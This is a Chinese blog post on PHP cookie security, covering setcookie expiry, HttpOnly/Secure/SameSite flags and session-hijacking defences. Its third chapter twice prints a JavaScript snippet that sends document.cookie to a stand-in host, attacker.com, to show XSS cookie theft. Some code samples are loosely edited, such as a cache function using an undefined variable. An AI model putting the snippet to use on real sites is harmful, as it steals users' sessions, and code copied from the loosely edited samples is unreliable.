【PHP Cookie安全实战】:如何正确设置setcookie过期时间防止会话劫持

NGINX & PHP Cookie 会话中 PHPSESSID 缺少 HTTPOnly、Secure 属性解决方案 基于安全的考虑,需要给cookie加上Secure和HttpOnly属性,HttpOnly比较好理解,设置HttpOnly=true的cookie不能被js获取到,无法用document.cookie打出cookie的内容。cookie中的Secure指的是安全性。在WEB应用中,对于敏感业务,如:登录或者付款,需要使用HTTPS来保证内容的传输安全,而在用户成功获得授权之后,获得的客户端身份cookie如果没有设置为Secure,那么很有可能会被非HTTPS页面拿到,从而造成重要的身份泄露。 阅读详情

第一章:PHP Cookie安全概述

Cookie 是 Web 应用中用于在客户端存储少量数据的重要机制,广泛应用于用户身份识别、会话保持等场景。然而,若未正确配置或处理,Cookie 可能成为安全漏洞的入口,导致敏感信息泄露、会话劫持甚至跨站脚本攻击(XSS)。

Cookie 的基本结构与安全属性

PHP 中通过 setcookie() 函数设置 Cookie,其关键安全属性包括 Secure、HttpOnly 和 SameSite。这些属性能有效降低传输过程中的风险。
  • Secure:确保 Cookie 仅通过 HTTPS 协议传输
  • HttpOnly:防止 JavaScript 访问 Cookie,缓解 XSS 攻击
  • SameSite:控制跨站请求时是否发送 Cookie,可设为 Strict、Lax 或 None
// 安全设置 Cookie 示例
setcookie(
  'session_id', 
  $token, 
  [
    'expires' => time() + 3600,
    'path' => '/',
    'domain' => 'example.com',
    'secure' => true,     // 仅 HTTPS
    'httponly' => true,   // 禁止 JS 访问
    'samesite' => 'Lax'   // 防范 CSRF
  ]
);
上述代码通过关联数组方式设置 Cookie,明确启用了安全选项。在现代 PHP(7.3+)环境中推荐使用此语法以增强可读性和安全性。

常见 Cookie 安全风险

风险类型成因防范措施
会话劫持Cookie 被窃取(如中间人攻击)启用 Secure 和 HttpOnly
XSS 利用未设置 HttpOnly始终添加 HttpOnly 标志
CSRF 攻击SameSite 配置不当合理设置 SameSite 策略
graph TD A[用户登录] --> B[服务器生成Session] B --> C[设置安全Cookie] C --> D[浏览器存储Cookie] D --> E[后续请求自动携带] E --> F[服务端验证Session]

第二章:setcookie函数核心参数解析

2.1 过期时间参数的定义与作用机制

过期时间参数(TTL, Time-To-Live)用于控制数据在缓存或数据库中的有效生命周期。该机制通过设定一个时间阈值,使系统在达到指定时间后自动清理过期数据,从而保障数据时效性并释放存储资源。
核心作用机制
TTL 通常以秒为单位设置,系统后台会启动异步清理任务周期性扫描过期条目。例如在 Redis 中:
SET session:user:123 "logged_in" EX 3600
该命令将用户登录状态写入键中,并通过 EX 3600 设置 3600 秒过期时间。一小时后键自动删除,实现安全退出。
典型应用场景
  • 会话管理:防止长期未活动的用户保持登录状态
  • 缓存更新:确保热点数据定期刷新
  • 限流控制:限制单位时间内接口调用次数

2.2 相对时间与绝对时间的正确使用方法

在系统设计中,合理选择相对时间与绝对时间对数据一致性至关重要。绝对时间表示具体的时间点,通常以UTC时间戳形式存储;而相对时间描述的是时间间隔或偏移量,适用于周期性任务调度。
适用场景对比
  • 绝对时间:适用于日志记录、事件审计等需精确定位时刻的场景
  • 相对时间:适合倒计时、缓存过期、重试机制等基于持续时间的逻辑
代码示例:Go语言中的时间处理
t := time.Now()                    // 获取当前绝对时间
expireAt := t.Add(5 * time.Minute) // 计算5分钟后的时间点
duration := expireAt.Sub(t)        // 得到相对时间间隔
上述代码中,time.Now() 返回当前UTC时间戳(绝对时间),Add() 方法用于生成未来某一时刻,Sub() 则返回两个绝对时间之间的 time.Duration 类型相对值。
存储建议
场景推荐类型说明
订单创建时间绝对时间便于跨时区展示
会话有效期相对时间避免频繁时间校准

2.3 time()函数与时区处理的实战技巧

在Go语言中,time.Now() 返回的是带有时区信息的 time.Time 类型。正确处理时区对日志记录、跨区域服务调度至关重要。
获取本地与UTC时间
t := time.Now()
fmt.Println("本地时间:", t)
fmt.Println("UTC时间:", t.UTC())
上述代码展示了如何获取当前本地时间和对应的UTC时间。UTC时间常用于系统间统一时间基准,避免时区混乱。
指定时区输出
  • 使用 time.LoadLocation 加载指定时区
  • 通过 t.In(loc) 转换时间到目标时区
loc, _ := time.LoadLocation("Asia/Shanghai")
fmt.Println("北京时间:", t.In(loc))
该示例将当前时间转换为东八区时间,适用于跨国服务的时间一致性处理。

2.4 安全设置过期时间防止Cookie持久化

为防止Cookie被长期存储导致安全风险,应显式设置合理的过期时间。通过控制生命周期,可有效降低会话劫持和跨站脚本攻击(XSS)的威胁。
设置HttpOnly与Max-Age
在响应头中配置Set-Cookie时,推荐结合使用Max-Age和HttpOnly属性:
Set-Cookie: sessionId=abc123; Max-Age=3600; HttpOnly; Secure; SameSite=Strict
该配置将Cookie有效期限制为1小时(3600秒),HttpOnly阻止JavaScript访问,Secure确保仅通过HTTPS传输,SameSite=Strict防止跨站请求伪造。
常见过期策略对比
策略Max-Age安全性适用场景
会话级未设置低临时登录
短期有效900-3600高敏感操作
长期有效>86400低记住用户名

2.5 常见过期时间配置错误及修复方案

缓存过期时间设置不当的典型场景
在实际开发中,常见将缓存过期时间设为固定值,导致缓存雪崩。例如大量键在同一时间失效,数据库瞬间压力激增。
  • 错误做法:所有缓存统一设置 3600 秒过期
  • 正确做法:采用基础时间 + 随机波动,如 3600 + rand(1, 600) 秒
代码示例与修复策略
func getCacheWithTTL(key string) (string, error) {
    ttl := time.Duration(3600+rand.Intn(600)) * time.Second
    result, err := cache.Get(key)
    if err != nil {
        // 重建缓存时分散过期时间
        cache.Set(key, value, ttl)
    }
    return result, nil
}
上述代码通过引入随机偏移量避免集体过期。参数说明:基础 TTL 为 3600 秒,随机增加 0~600 秒,有效缓解集中失效问题。

第三章:会话劫持原理与Cookie攻击路径

3.1 会话劫持的常见攻击手段剖析

会话劫持通过窃取或伪造用户会话凭证,实现对合法会话的非法接管。其核心在于绕过身份验证机制,获取持续访问权限。
主要攻击方式
  • 会话固定:诱导用户使用攻击者预设的会话ID;
  • 会话侧信道泄露:通过URL重写或日志暴露会话ID;
  • 跨站脚本(XSS):注入恶意脚本窃取document.cookie;
  • 中间人攻击(MITM):在不安全网络中监听明文传输的Cookie。
典型XSS窃取示例

// 攻击者注入的脚本
const img = new Image();
img.src = 'https://attacker.com/log?c=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
该代码通过创建隐藏图像标签,将包含会话Cookie的请求发送至攻击者服务器。encodeURIComponent确保特殊字符正确编码,避免传输中断。
风险对比表
攻击类型依赖条件防御难度
XSS存在反射或存储型漏洞中
MITM未使用HTTPS低

3.2 Cookie泄露途径与风险场景模拟

常见Cookie泄露途径
Cookie作为会话管理的关键凭证,常通过以下方式泄露:
  • 跨站脚本(XSS)攻击:恶意脚本读取document.cookie
  • 不安全的传输:未启用HTTPS导致中间人窃取
  • 客户端存储不当:明文保存于LocalStorage或URL参数
XSS窃取Cookie示例

// 攻击者注入的恶意脚本
const img = new Image();
img.src = 'https://attacker.com/log?c=' + encodeURIComponent(document.cookie);
document.body.appendChild(img);
该代码通过构造图像请求,将用户Cookie外传至攻击服务器。由于浏览器同源策略未限制对外域发起GET请求,此类攻击极具隐蔽性。
风险场景对比表
场景泄露可能性影响范围
XSS漏洞高全站会话劫持
HTTP传输中局域网内可监听
CSRF令牌缺失低特定操作被伪造

3.3 过期时间在防御链中的关键角色

过期时间(TTL, Time-To-Live)不仅是缓存管理的基础机制,更在安全防御体系中扮演着动态控制的关键角色。
缓解重放攻击
通过为令牌或会话设置短暂有效期,可有效限制攻击者截获凭证后的利用窗口。例如JWT常结合Redis实现短TTL存储:

redis.setex(`session:${userId}`, 300, token); // 5分钟过期
该代码将用户会话写入Redis并设置5分钟自动过期,超出时效的令牌即使被截获也将失效,显著降低横向移动风险。
防御暴力破解
针对登录接口,可通过递增式TTL策略延缓多次失败尝试:
  • 首次失败:锁定30秒
  • 连续5次:提升至10分钟
  • 异常IP:全局TTL延长至1小时
此机制结合限流与状态追踪,使自动化攻击难以持续进行。

第四章:构建安全的Cookie策略实践

4.1 结合HttpOnly与Secure标志强化Cookie

为了提升Web应用中Cookie的安全性,推荐结合使用HttpOnly和Secure标志。这两个属性能有效降低跨站脚本(XSS)攻击风险,并确保Cookie仅通过加密通道传输。
关键属性说明
  • HttpOnly:防止JavaScript访问Cookie,抵御XSS攻击
  • Secure:确保Cookie仅在HTTPS连接下传输
设置安全Cookie示例
Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure; SameSite=Strict
该响应头将Cookie限制为仅通过安全HTTPS连接传输,并禁止前端脚本读取,显著增强会话安全性。
部署建议
配置项推荐值
HttpOnly启用
Secure启用(生产环境强制HTTPS)

4.2 动态过期时间设计提升账户安全性

在现代身份认证系统中,静态的会话过期策略已难以应对复杂的安全威胁。动态过期时间机制根据用户行为、设备环境和访问上下文实时调整令牌有效期,显著增强账户安全。
基于风险评分的过期策略
系统可依据登录地点、时间、设备指纹等维度计算风险评分,高风险场景下自动缩短令牌生命周期。
func CalculateTokenTTL(riskScore float64) time.Duration {
    baseTTL := 30 * time.Minute
    if riskScore > 0.8 {
        return 5 * time.Minute // 高风险:5分钟过期
    } else if riskScore > 0.5 {
        return 15 * time.Minute // 中风险:15分钟
    }
    return baseTTL // 低风险:默认30分钟
}
上述代码根据风险评分返回不同 TTL,实现细粒度控制。参数 riskScore 取值范围为 [0,1],由风控引擎实时提供。
多因子触发重认证
  • 敏感操作前强制重新验证身份
  • 跨地域登录立即缩短当前会话有效期
  • 长期闲置会话提前终止
该机制有效降低会话劫持带来的潜在危害。

4.3 多因素认证下Cookie生命周期管理

在多因素认证(MFA)架构中,Cookie的生命周期需与认证状态紧密绑定,确保安全性与用户体验的平衡。
动态过期策略
完成MFA验证后,服务端应生成具备短期有效期的安全Cookie,并通过HttpOnly和Secure标志增强防护:

res.cookie('auth_token', token, {
  httpOnly: true,
  secure: true,
  maxAge: 15 * 60 * 1000, // 15分钟
  sameSite: 'strict'
});
该配置限制Cookie仅在HTTPS环境下传输,防止XSS窃取,并在用户完成MFA后启动短周期自动失效机制。
状态联动刷新
  • 每次成功通过MFA验证后重置Cookie有效期
  • 检测到异常登录行为时主动清除Cookie
  • 服务端维护会话状态表,实现与前端Cookie的状态同步

4.4 服务端辅助验证机制防篡改检测

在分布式系统中,客户端数据易受篡改威胁,服务端辅助验证机制成为保障数据完整性的关键防线。
哈希校验与时间戳防重放
通过为请求体生成哈希值并附加时间戳,服务端可验证数据是否被中途修改。
hash := sha256.Sum256([]byte(payload + timestamp + secretKey))
if !hmac.Equal(request.Signature, hash[:]) {
    return errors.New("签名不匹配,数据可能被篡改")
}
上述代码使用HMAC-SHA256算法结合密钥生成签名,确保仅持有密钥的服务端能正确校验。
关键字段二次核验流程
服务端对敏感操作需重新查询数据库比对原始状态,避免客户端伪造状态变更请求。
验证项作用实现方式
Token有效性确认请求来源合法JWT签名校验
请求频率限制防止暴力攻击Redis计数器
业务逻辑一致性防止状态越权服务端状态机校验

第五章:总结与最佳安全实践建议

最小权限原则的实施
在生产环境中,应始终遵循最小权限原则。例如,在 Kubernetes 集群中部署应用时,避免使用默认的 default ServiceAccount,而是创建专用账户并绑定最小必要角色:
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-reader-sa
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-pods-binding
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io
subjects:
- kind: ServiceAccount
  name: app-reader-sa
  namespace: default
定期轮换密钥与凭证
长期有效的 API 密钥极大增加泄露风险。建议使用自动化工具如 HashiCorp Vault 实现动态凭证管理。以下为轮换 AWS IAM 临时凭证的典型流程:
  1. 应用通过 IAM 角色获取临时 STS 令牌(有效期 15 分钟)
  2. Vault 定期调用 AssumeRole 刷新凭证
  3. 旧令牌自动失效,无需人工干预
  4. 所有密钥访问通过 Sidecar 模式注入,避免硬编码
多因素认证与登录监控
关键系统必须启用 MFA。下表展示某金融企业启用 FIDO2 安全密钥后的攻击拦截数据:
攻击类型启用前月均次数启用后月均次数
暴力破解1,24018
凭证填充6730
安全事件响应流程图:
检测异常登录 → 自动锁定账户 → 发送告警至 SIEM → 安全团队验证 → 启动取证流程 → 重置凭证并修复漏洞
反射型XSS漏洞实战:从原理到Cookie窃取与会话劫持 跨站脚本攻击(XSS)是Web安全领域最常见的漏洞类型之一,其核心原理在于Web应用对用户输入数据未进行充分过滤与编码,导致恶意脚本在受害者浏览器中执行。反射型XSS作为XSS的一种,通过恶意URL诱导用户点击触发,常被用于窃取用户凭证。在Web安全中,Cookie作为维持会话状态的关键机制,一旦被窃取,攻击者即可实施会话劫持,直接冒充用户身份。本文聚焦于反射型XSS漏洞的实战利用,通过DVWA靶场环境,详细拆解如何构造恶意Payload、搭建攻击服务器、窃取Cookie并最终完成会话劫持的全过程,并深入探 阅读详情

相关推荐

PHP Session安全漏洞深度解析:从CTF题看会话固定攻击与防御

Session机制是Web应用实现用户状态管理的核心技术,通过在服务器端存储用户数据、客户端保存Session ID来实现身份验证。其安全原理依赖于Session ID的不可预测性和传输安全性,一旦ID泄露或被预测,攻击者就能劫持用户会话。这一机制的技术价值在于为无状态的HTTP协议提供了状态保持能力,广泛应用于用户登录、购物车、权限控制等场景。然而,PHP的Session实现中存在诸多安全陷阱,特别是会话固定攻击,攻击者可通过预置Session ID绕过认证。本文结合CTFshow WEB11实战案例,深

anqiu4023的博客 357

POC构造踩过的一些坑

(例如,当命令不能直接执行成功时,我们是不是可以把命令先写在一个文件中,然后间接的转发给目标主机呢;知道web站点路径,是不是尝试下写入一句话木马呢)6.如果poc不好用burp去直接去构造的话,在google和github上搜索相关漏洞的资料,看看有没有前辈已经写好的工具,当然,有的工具写的会比较粗糙,我们可以查看它的源码,将关键的地方手工修改下,再去进行尝试。4.当遇到远程代码(命令)执行漏洞时,要将VPS的IP和端口填写准确,若需要f用到web服务时,还应填写恰当的IP,来访问构造的web站点。

shr592833253的博客 317

xss攻击--SESSION劫持方式以及解决方案

1、XSS攻击-SESSION劫持场景 hacker通过js脚本在留言板之类的脚本中提交javascript脚本,当登录用户(特别是管理员)查看提交的数据时候,会被hacker劫持到SESSION数据,在SESSION有效的时间内,hacker将会更改本地的PHPSESSID数据从而登录网站管理系统。 2、脚本程序 javascript: var cookie_data=documen

kung的专栏 2151

关于Cookie生存期开始处的一个小问题

众所周知,cookie生存期是从setcookie()函数创建开始到指定的时间结束。但我在chrome上测试,用setcookie()创建的cookie,生存期是从下一次网访问该网站开始以下是测试代码<?php setcookie("a",1,time()+60); echo $_COOKIE['a']; ?>第一次打开该网站,出现了这样情况 提示该cookie不存在 说明此时即使已经创建了

Troublor的博客 492

基于蓝莲花平台实战XSS攻击:从Cookie窃取到防御策略

跨站脚本攻击(XSS)是一种利用Web应用漏洞,在用户浏览器中执行恶意脚本的攻击方式。其核心原理在于攻击者通过注入恶意代码,绕过同源策略,窃取用户敏感信息。XSS的技术价值在于揭示了客户端脚本执行的安全边界问题,在身份认证、会话管理等领域具有重要影响。应用场景广泛,包括但不限于社交工程、数据窃取和权限提升。本文聚焦于XSS攻击中的数据外带环节,通过部署清华大学蓝莲花战队开发的BlueLotus_XSSReceiver平台,演示如何构建轻量级接收端,实现Cookie窃取与会话劫持。该平台以部署简单、代码开源为

weixin_33847182的博客 431

存储型XSS漏洞实战:从Cookie窃取到防御策略详解

跨站脚本攻击(XSS)是Web安全领域的核心威胁之一,其本质在于浏览器对接收到的代码的过度信任。攻击者通过注入恶意脚本,使其在用户浏览器中执行,从而绕过前端防护。这种攻击的技术价值在于它能直接操作客户端环境,实现会话劫持、数据窃取等破坏性操作,常见于用户交互频繁的应用场景,如留言板、评论区和社交平台。本文聚焦于危害最大的存储型XSS,通过模拟攻击者利用留言板漏洞窃取用户Cookie的完整链条,深入剖析其利用原理与隐蔽外传技巧,并系统阐述输入验证、输出转义及内容安全策略(CSP)等关键防御手段,旨在帮助开发者

weixin_30596735的博客 404

【PHP会话安全必修课】:精准控制Cookie过期时间,防止会话劫持

掌握PHP cookie 设置过期时间的正确方法,有效防范会话劫持风险。适用于登录会话、用户认证等场景,通过合理设置有效期与安全属性,提升应用安全性。精准控制生命周期,保障用户数据隐私,值得收藏

StepLens的博客 1108

Linux系统遭遇挖矿病毒深度排查与根治指南

本文提供了一份详尽的Linux服务器挖矿病毒排查与根治指南。当CPU异常满载但常规top命令无法定位进程时,需警惕病毒通过ld.so.preload文件隐藏。文章逐步指导如何清除恶意文件、进程、定时任务,并重点应对pamdicks等顽固变种,最后给出深度排查与系统加固方案,确保服务器安全。

weixin_29207533的博客 452

setcookie过期时间设置不当导致会话泄露?(资深专家深度剖析)

解决setcookie过期时间设置隐患,防止会话泄露。详解Web安全中会话管理机制,分析过期时间设置不当的风险场景,提供安全配置方案与最佳实践,提升系统防护能力,值得收藏。

LogicPlex的博客 707

Cesium中GLB模型加载

Cesium中GLB模型加载全解析:Primitive与Entities方法详解

m0_72030584的博客 3471

✨从零搭建 Ubuntu22.04 + Python3.11 + PyTorch2.5.1 GPU Docker 镜像并上传 Docker Hub

构建一个带 GPU 支持的深度学习开发镜像;使用 PyTorch 2.5.1(CUDA 12.4)环境;发布并托管 Docker 镜像至 Docker Hub;验证 GPU 环境正常运行!🎉 这将极大提升你的项目部署效率,尤其是在多人协作或跨平台部署场景中。

用大模型重构生活:猫奴程序员的AI智能日常记录 1578

【Cookie安全加固必备】:setcookie过期时间精准控制的6大核心技术

掌握setcookie过期时间精准控制,有效提升Cookie安全。详解6大核心技术在会话管理、持久化登录等场景的应用,涵盖安全设置、HttpOnly配置与最佳实践方案,防止信息泄露。方法实用高效,值得收藏。

GatherTide的博客 707

UE5 中 Python 编程:Python 代码加载到 UE5 中,如何供蓝图节点调用

配置 python 代码的路径,使 UE5 启动时,加载代码文件。重启之后,在蓝图中右键,就能搜索到你定义的方法了。参数为 str 字符串类型,返回值为 向量数组。注意:一定要 重启 UE5。

topcss的专栏 3996

如何让你的会话更安全,浅析Session与Cookie

在我们面试的时候,面试官问及 XSS 漏洞的时候,我们常常会说比如劫持 Cookie,问及防御方法的时候,又常常会说设置httponly,本篇文章将从代码层面简单的普及 Session 和 Cookie 的生成过程,及防御的方法,希望看到这篇文章后,下一次遇到面试官的时候,你能够自豪的跟他说我知道防御 XSS 漏洞,能够把流程讲清楚,把原理讲明白!

cul1n的博客 1212

ISO 15118-20标准深度解读【精简篇】

ISO 15118-2 是开创者,它解决了“如何让电动汽车充电像给手机充电一样简单(即插即用且自动付费)”的问题,为行业奠定了基础。 ISO 15118-20 是革新者,它站在前者的肩膀上,回答了一个更宏大的问题:“如何让电动汽车深度融入未来的能源系统和智慧城市?” 它不仅是充电协议,更是一个车网互动的综合能源管理协议。简单来说,ISO 15118-2 是关于“如何充电”,而 ISO 15118-20 是关于“如何智慧地使用和管理电动汽车这块大电池”。

网络安全的研究者、新能源行业的追求者 1925

NLP实践——利用自己的语料进行Mask Language Model预训练

#!/usr/bin/env python # coding: utf-8 # In[1]: import os import json import copy from tqdm.notebook import tqdm import torch from torch.optim import AdamW from torch.utils.data import DataLoader, Dataset from transformers import BertForMaskedLM, BertTo

weixin_44826203的博客 1万+

揭秘PHP Cookie安全机制:如何防止窃取与篡改,保障用户数据安全

掌握PHP Cookie用法,有效防范窃取与篡改风险。本文详解安全设置路径、有效期、HttpOnly及加密传输等核心方法,适用于登录状态管理等场景,提升用户数据安全性。实用技巧值得收藏

ProceSeed的博客 888

手把手教你学Simulink——基于Simulink的PMSM MTPA + FW 全速域平滑切换策略

本文提出一种基于Simulink的PMSM全速域平滑切换控制策略,通过融合MTPA和弱磁控制(FW)实现基速附近的无冲击过渡。在过渡区采用加权融合电流给定方法,使电流超调<5%、转速波动<2%,全速域效率>90%。文章详细介绍了系统架构、核心算法及Simulink建模步骤,包括融合控制器设计、切换逻辑实现和参数优化。仿真结果表明,该方法相比传统硬切换显著改善了动态性能,并扩展了调速范围。同时提供了可直接复用的工程模板和MATLAB代码,为电机控制工程师提供了实用的全速域控制解决方案。

MHD0815的博客 79

增加cookie和表单提交的安全

设置COOKIE setcookie(string$name[,string$value= ""[,int$expire= 0[,string$path= ""[,string$domain= ""[,bool$secure= false[,bool$httponly= false]]]]]] ) setcookie()定义了 Cooki...

weixin_30553777的博客 209

国科大学习资料--高级软件工程-复习题概念解释答案

国科大学习资料–高级软件工程(罗铁坚 魏峻 刘丹)-复习题概念解释答案 1. 敏捷开发方法与Scrum方法 a.敏捷是一种强调轻量的过程方法论,它强调拥抱变化而不是与之对抗,通过有效的沟通发挥群体的智慧。敏捷方法采用迭代/增量开发的过程模型。敏捷宣言是:个体和交互高于流程和工具;工作的软件高于详尽的文档;客户合作高于合同谈判;响应变化高于遵循计划。 虽然右边的也有价值,但是认为左边的更有价值。 b.Scrum(Schwaber和Beedle)是管理两个披萨规模(4-9人)的软件开发团队的方法,它高频率的短会

无名何许人的博客 1443

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

PHP开发安全问题之Cookie 安全问题,2024届毕业生还没找到网络安全开发工作

那么,一个恶意攻击者可以在另一个网站上放置如下代码:如果有账户名为 scar 的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,导致发起请求后后端以为是用户正常操作,于是进行扣款操作,那么她就会损失 1000 资金。通过设置 sameSite 可以防止跨域发送 Cookie,抵御 CSRF。

2401_84181481的博客 877

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

PHP Session与Cookie原理详解:从HTTP无状态到用户认证安全实践

HTTP协议本身是无状态的,这意味着服务器无法自动识别连续请求是否来自同一客户端。为了解决这一问题,Web开发中引入了Cookie和Session两种核心机制。Cookie作为存储在客户端的小型文本文件,负责在浏览器与服务器之间传递标识信息;而Session则在服务器端维护用户会话数据,通过唯一的Session ID与客户端Cookie关联。这对组合构成了Web应用状态管理的基石,其技术价值在于实现了用户身份识别、状态保持与个性化体验,是登录状态、购物车、用户偏好设置等功能的底层支撑。在现代PHP开发中,从

abc20899的专栏 350

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

HTTPOnly Cookie:Web安全防御XSS攻击的关键机制详解

在Web安全领域,Cookie是实现会话管理和用户状态保持的核心技术。其工作原理是服务器通过Set-Cookie响应头将数据发送至浏览器存储,并在后续请求中自动携带,从而维持用户登录状态等关键信息。然而,默认情况下Cookie可通过JavaScript的document.cookie API访问,这构成了跨站脚本攻击窃取用户凭证的直接路径。HTTPOnly属性的技术价值在于实施职责分离原则,通过禁止客户端脚本访问敏感Cookie,有效阻断XSS攻击中的凭证窃取链。该机制需与Secure、SameSite等属

weixin_34050519的博客 415

ThinkPHP 5.1 Cookie设置HttpOnly解决方案

评估:确认您的ThinkPHP 5.1应用是否通过cookie()函数或Cookie类设置任何Cookie,特别是用于身份验证的会话Cookie。实施修复(首选):修改全局配置文件(中的cookie配置),将'httponly'设置为true。同时,根据实际情况考虑设置'secure'和'samesite'。清除缓存:运行清除配置缓存。全面测试功能测试:确保登录、登出、记住我等所有依赖Cookie的功能正常工作。

weixin_65299565的博客 402

storageless本地开发指南:无HTTPS环境下Cookie安全配置的完整解决方案

你在本机用 PHP 内置服务器调试基于 PSR-7 的应用时,是不是遇到过明明代码没问题,会话却始终"记不住"登录状态?这很可能就是 **storageless** 这个无存储 PSR-7 会话库的 Cookie 安全属性在"捣鬼"。storageless 默认生成的 `__Secure-slsession` Cookie 带有 `Secure` 标记,而 `Secure` Cookie 只在 H

gitblog_00298的博客 310

在php中设置sessionid的httponly属性

方法1:将setcookie()函数的第七个参数设置为true $sess_name = session_name();//必须在session_start之前调用session_name if (session_start()) { setcookie($sess_name, session_id(), null, '/', null, null, true);

Somethings 3084
上一篇: 权限配置总出错?,一文搞懂PHP chmod八进制表示法与常见陷阱
下一篇: 如何正确使用error_reporting(E_ALL)?,20年经验专家亲授避坑法则
FuncLens
博客等级 码龄1年 175粉丝 2168原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值